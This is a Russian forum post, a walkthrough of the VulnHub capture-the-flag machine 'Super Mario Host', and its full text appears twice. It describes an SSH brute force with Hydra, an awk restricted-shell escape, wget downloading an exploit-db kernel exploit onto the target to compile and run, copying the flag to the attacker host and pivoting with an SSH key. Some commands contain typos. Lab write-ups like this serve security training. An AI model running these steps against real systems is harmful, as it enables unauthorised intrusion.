Vander
04.10.2017, 23:02
Приветствую! В этой статье я хочу поделиться одним из способов прохождения CTF Challenge – Super Mario VM.
https://forum.antichat.xyz/attachments/28962340/img_f5b53f7f66.png
Для начала, как обычно, скачиваем образ уязвимой машины по ссылке ниже:
> https://download.vulnhub.com/supermariohost/Super-Mario-Host-v1.0.1.ova.torrent
В качестве атакующего хоста, я буду использоватьKali Linux 2017.1.
Запускаем образ машины с помощью VMware (к примеру) и проводим первичный осмотр, запускаем netdiscover, чтобы обнаружить хост в сети.
https://forum.antichat.xyz/attachments/28962340/img_1ab52d9ae1.png
Затем сканируем порты с помощью nmap:
https://forum.antichat.xyz/attachments/28962340/img_c8604aa49f.png
Сканер обнаружил 2 открытых порта, в первую очередь заглянем на http – 8180.
После осмотра содержимого находящегося по адресу 172.16.0.193:8180, никаких подсказок или флагов не было обнаружено. Поэтому можем попробовать Dirbuster для поиска скрытого содержимого на сервере.
https://forum.antichat.xyz/attachments/28962340/img_deefd1cebf.png
Dirbuster ко всему прочему, обнаружил один любопытный файл – vhosts.
https://forum.antichat.xyz/attachments/28962340/img_83b9f71376.png
Откроем его в браузере:
https://forum.antichat.xyz/attachments/28962340/img_6cafd295f4.png
Изучив его, находим имя виртуального хоста - Что такое виртуальный хост? Это такая настройка локального веб-сервера, при которой веб-сервер начинает откликаться на заданное имя, а не только на IP 127.0.0.1 или псевдоним localhost. То есть, при настройке виртуального хоста на имя site.ru, в браузере, поэтому URL начнет отвечать локальный веб-сервер.
Веб-сервер можно настроить на несколько имен сайтов. Тогда веб-сервер начнет выдавать страницы, соответствующие каталогу, в котором находятся данные для указанного имени. Например, есть два виртуальных хоста - site.ru и money.com. Для site.ru настроен рабочий каталог /var/www/site.ru, а для money.com настроен рабочий каталог /var/www/money.com. Если теперь в браузере обратиться к site.ru, то веб-сервер будет выдавать страницы из каталога /var/www/site.ru, а если обратиться к money.com, то веб-сервер будет генерировать страницы из каталога /var/www/money.com.
Пропишем его себе в /etc/hosts и сохраним:
> nano /etc/hosts
https://forum.antichat.xyz/attachments/28962340/img_f906628db6.png
Обратившись по адресу – mario.supermariohost.local:8180, видим это:
https://forum.antichat.xyz/attachments/28962340/img_7ffe708110.png
И собственно больше ничего, поэтому я пробую подключать Dirbuster снова, только теперь на этот хост.
https://forum.antichat.xyz/attachments/28962340/img_b1f89ebaa6.png
Из найденных файлов интерес представляет – command.php, он представляет собой форму для проверки существования пользователей (я, по крайней мере, так и понял).
https://forum.antichat.xyz/attachments/28962340/img_50c8d210b5.png
Мне это не сильно помогло, но сама идея натолкнула на мысль создать файл с паролями и логинами согласно теме из Mario.
https://forum.antichat.xyz/attachments/28962340/img_0ee3fd5008.png
Затем, используя следующую команду, генерируем файл, конкретно с данными подходящими для дальнейшего перебора.
https://forum.antichat.xyz/attachments/28962340/img_2bb80a0260.png
Теперь, имея на руках файлы с именами пользователей и паролями, можно запустить брутфорс SSH, используем Hydra.
> hydra –L user.txt –P pass.txt 192.168.0.107 ssh
https://forum.antichat.xyz/attachments/28962340/img_60fafbd68c.png
Логинимся по SSH используя подобранный логин и пароль:
https://forum.antichat.xyz/attachments/28962340/img_fdd962b2a3.png
Так как shell слишком лимитирован, необходимо воспользоваться AWK для использования BASH окружения:
Утилита awk, или точнее GNU awk, в сравнении с sed, выводит обработку потоков данных на более высокий уровень. Благодаря awk в нашем распоряжении оказывается язык программирования, а не довольно скромный набор команд, отдаваемых редактору. С помощью языка программирования awk можно выполнять следующие действия:
· Объявлять переменные для хранения данных.
· Использовать арифметические и строковые операторы для работы с данными.
· Использовать структурные элементы и управляющие конструкции языка, такие, как оператор if-then и циклы, что позволяет реализовать сложные алгоритмы обработки данных.
· Создавать форматированные отчёты.
Следующей командой получим полнофункциональный shell:
> awk ‘BEGIN{system(“/bin/bash”)}’
https://forum.antichat.xyz/attachments/28962340/img_2d2aef5516.png
Выясним версию ядра ОС.
Теперь, можно обратиться за помощью к ExploitDB для подбора нужного експлойта:
https://forum.antichat.xyz/attachments/28962340/img_1e1c279e5f.png
Качаем эксплоит напрямую на уязвимый хост:
> wgethttp://exploit-db.com/download/37292
Затем компилируем и запускаем файл a.out
> mv 37292 37292.c
> gcc 37292.c
> ./a.out
Проверим, насколько успешно все прошло:
> id
И опять обратимся к awk, чтобы получить рабочий шелл bash:
> awk ‘BEGIN{system(“/bin/bash”)}’
https://forum.antichat.xyz/attachments/28962340/img_9d586039f7.png
В корневой папке находится архив с флагом, flag.zip скопируем его на атакующий хост, так как он защищен паролем.
> scp flag.zip necro@192.168.0.106:/home/necro
Достать флаг не сложно, достаточно использовать утилиту fcrackzip:
> fcrackzip flag.txt –D –p /usr/share/wordlist/rockyou.txt –u
https://forum.antichat.xyz/attachments/28962340/img_30fec351a6.png
Открыв архив, используя полученный пароль, можно ознакомиться с содержимым флага.
Идем далее, для получения второго флага необходимо обратить внимание на 2 момента:
1. Директорию .bak/users/luigi
2. Файл id_rsa.pub
Файл id_rsa.pub – это открытый ключ для доступа по SSH. Его копируют на сервера, куда нужно получить доступ. Если открыть его в cat, то в конце файла можно заметить фрагмент - warluigi@warluigiэто очень похоже на то, что существует еще один хост на который можно зайти, используя данную информацию, в частности логин warluigi. Следующим шагом будет просмотр таблицы маршрутизации:
> arp –n
https://forum.antichat.xyz/attachments/28962340/img_63492fb932.png
Вот, собственно, то, что мы искали. Есть хост с адресом 192.168.122.112.Пробуем получить к нему доступ, используя ту информацию, что у нас есть, а именно открытый ключ и логин.
> ssh -i id_rsa warluigi@192.168.1.122.112
Так как, метод подключения использует публичный ключ и нам необходим не пароль а ключевая фраза для подключения, можно предположить, что она не будет замысловатой а сгодится – warluigi.Так мы попадаем на нужный хост.
Скачиваем и компилируем уже знакомый нам эксплоит:
> wgethttp://exploit-db.com/download/37292
> mv 37292 37292.c
> gcc 37292.c
> ./a.out
https://forum.antichat.xyz/attachments/28962340/img_ac759dd78b.png
> awk ‘BEGIN{system(“/bin/bash”)}’ –Укажет нам, на то, что мы являемся root.
https://forum.antichat.xyz/attachments/28962340/img_6ae71bcc7d.png
В домашней директории root находится файл с подсказкой для извлечения второго флага, который тоже находится в этой директории, подсказка выглядит так – Peach Loves Me. Второй флаг, так же, защищен паролем, и подсказка им является.
> unzip flag2.zip
Вводим пароль peachlovesme и получаем второй и заключительный флаг.
https://forum.antichat.xyz/attachments/28962340/img_def2557033.png
На этом, прохождение Super Mario VM можно считать законченным.
https://forum.antichat.xyz/attachments/28962340/img_f5b53f7f66.png
Для начала, как обычно, скачиваем образ уязвимой машины по ссылке ниже:
> https://download.vulnhub.com/supermariohost/Super-Mario-Host-v1.0.1.ova.torrent
В качестве атакующего хоста, я буду использоватьKali Linux 2017.1.
Запускаем образ машины с помощью VMware (к примеру) и проводим первичный осмотр, запускаем netdiscover, чтобы обнаружить хост в сети.
https://forum.antichat.xyz/attachments/28962340/img_1ab52d9ae1.png
Затем сканируем порты с помощью nmap:
https://forum.antichat.xyz/attachments/28962340/img_c8604aa49f.png
Сканер обнаружил 2 открытых порта, в первую очередь заглянем на http – 8180.
После осмотра содержимого находящегося по адресу 172.16.0.193:8180, никаких подсказок или флагов не было обнаружено. Поэтому можем попробовать Dirbuster для поиска скрытого содержимого на сервере.
https://forum.antichat.xyz/attachments/28962340/img_deefd1cebf.png
Dirbuster ко всему прочему, обнаружил один любопытный файл – vhosts.
https://forum.antichat.xyz/attachments/28962340/img_83b9f71376.png
Откроем его в браузере:
https://forum.antichat.xyz/attachments/28962340/img_6cafd295f4.png
Изучив его, находим имя виртуального хоста - Что такое виртуальный хост? Это такая настройка локального веб-сервера, при которой веб-сервер начинает откликаться на заданное имя, а не только на IP 127.0.0.1 или псевдоним localhost. То есть, при настройке виртуального хоста на имя site.ru, в браузере, поэтому URL начнет отвечать локальный веб-сервер.
Веб-сервер можно настроить на несколько имен сайтов. Тогда веб-сервер начнет выдавать страницы, соответствующие каталогу, в котором находятся данные для указанного имени. Например, есть два виртуальных хоста - site.ru и money.com. Для site.ru настроен рабочий каталог /var/www/site.ru, а для money.com настроен рабочий каталог /var/www/money.com. Если теперь в браузере обратиться к site.ru, то веб-сервер будет выдавать страницы из каталога /var/www/site.ru, а если обратиться к money.com, то веб-сервер будет генерировать страницы из каталога /var/www/money.com.
Пропишем его себе в /etc/hosts и сохраним:
> nano /etc/hosts
https://forum.antichat.xyz/attachments/28962340/img_f906628db6.png
Обратившись по адресу – mario.supermariohost.local:8180, видим это:
https://forum.antichat.xyz/attachments/28962340/img_7ffe708110.png
И собственно больше ничего, поэтому я пробую подключать Dirbuster снова, только теперь на этот хост.
https://forum.antichat.xyz/attachments/28962340/img_b1f89ebaa6.png
Из найденных файлов интерес представляет – command.php, он представляет собой форму для проверки существования пользователей (я, по крайней мере, так и понял).
https://forum.antichat.xyz/attachments/28962340/img_50c8d210b5.png
Мне это не сильно помогло, но сама идея натолкнула на мысль создать файл с паролями и логинами согласно теме из Mario.
https://forum.antichat.xyz/attachments/28962340/img_0ee3fd5008.png
Затем, используя следующую команду, генерируем файл, конкретно с данными подходящими для дальнейшего перебора.
https://forum.antichat.xyz/attachments/28962340/img_2bb80a0260.png
Теперь, имея на руках файлы с именами пользователей и паролями, можно запустить брутфорс SSH, используем Hydra.
> hydra –L user.txt –P pass.txt 192.168.0.107 ssh
https://forum.antichat.xyz/attachments/28962340/img_60fafbd68c.png
Логинимся по SSH используя подобранный логин и пароль:
https://forum.antichat.xyz/attachments/28962340/img_fdd962b2a3.png
Так как shell слишком лимитирован, необходимо воспользоваться AWK для использования BASH окружения:
Утилита awk, или точнее GNU awk, в сравнении с sed, выводит обработку потоков данных на более высокий уровень. Благодаря awk в нашем распоряжении оказывается язык программирования, а не довольно скромный набор команд, отдаваемых редактору. С помощью языка программирования awk можно выполнять следующие действия:
· Объявлять переменные для хранения данных.
· Использовать арифметические и строковые операторы для работы с данными.
· Использовать структурные элементы и управляющие конструкции языка, такие, как оператор if-then и циклы, что позволяет реализовать сложные алгоритмы обработки данных.
· Создавать форматированные отчёты.
Следующей командой получим полнофункциональный shell:
> awk ‘BEGIN{system(“/bin/bash”)}’
https://forum.antichat.xyz/attachments/28962340/img_2d2aef5516.png
Выясним версию ядра ОС.
Теперь, можно обратиться за помощью к ExploitDB для подбора нужного експлойта:
https://forum.antichat.xyz/attachments/28962340/img_1e1c279e5f.png
Качаем эксплоит напрямую на уязвимый хост:
> wgethttp://exploit-db.com/download/37292
Затем компилируем и запускаем файл a.out
> mv 37292 37292.c
> gcc 37292.c
> ./a.out
Проверим, насколько успешно все прошло:
> id
И опять обратимся к awk, чтобы получить рабочий шелл bash:
> awk ‘BEGIN{system(“/bin/bash”)}’
https://forum.antichat.xyz/attachments/28962340/img_9d586039f7.png
В корневой папке находится архив с флагом, flag.zip скопируем его на атакующий хост, так как он защищен паролем.
> scp flag.zip necro@192.168.0.106:/home/necro
Достать флаг не сложно, достаточно использовать утилиту fcrackzip:
> fcrackzip flag.txt –D –p /usr/share/wordlist/rockyou.txt –u
https://forum.antichat.xyz/attachments/28962340/img_30fec351a6.png
Открыв архив, используя полученный пароль, можно ознакомиться с содержимым флага.
Идем далее, для получения второго флага необходимо обратить внимание на 2 момента:
1. Директорию .bak/users/luigi
2. Файл id_rsa.pub
Файл id_rsa.pub – это открытый ключ для доступа по SSH. Его копируют на сервера, куда нужно получить доступ. Если открыть его в cat, то в конце файла можно заметить фрагмент - warluigi@warluigiэто очень похоже на то, что существует еще один хост на который можно зайти, используя данную информацию, в частности логин warluigi. Следующим шагом будет просмотр таблицы маршрутизации:
> arp –n
https://forum.antichat.xyz/attachments/28962340/img_63492fb932.png
Вот, собственно, то, что мы искали. Есть хост с адресом 192.168.122.112.Пробуем получить к нему доступ, используя ту информацию, что у нас есть, а именно открытый ключ и логин.
> ssh -i id_rsa warluigi@192.168.1.122.112
Так как, метод подключения использует публичный ключ и нам необходим не пароль а ключевая фраза для подключения, можно предположить, что она не будет замысловатой а сгодится – warluigi.Так мы попадаем на нужный хост.
Скачиваем и компилируем уже знакомый нам эксплоит:
> wgethttp://exploit-db.com/download/37292
> mv 37292 37292.c
> gcc 37292.c
> ./a.out
https://forum.antichat.xyz/attachments/28962340/img_ac759dd78b.png
> awk ‘BEGIN{system(“/bin/bash”)}’ –Укажет нам, на то, что мы являемся root.
https://forum.antichat.xyz/attachments/28962340/img_6ae71bcc7d.png
В домашней директории root находится файл с подсказкой для извлечения второго флага, который тоже находится в этой директории, подсказка выглядит так – Peach Loves Me. Второй флаг, так же, защищен паролем, и подсказка им является.
> unzip flag2.zip
Вводим пароль peachlovesme и получаем второй и заключительный флаг.
https://forum.antichat.xyz/attachments/28962340/img_def2557033.png
На этом, прохождение Super Mario VM можно считать законченным.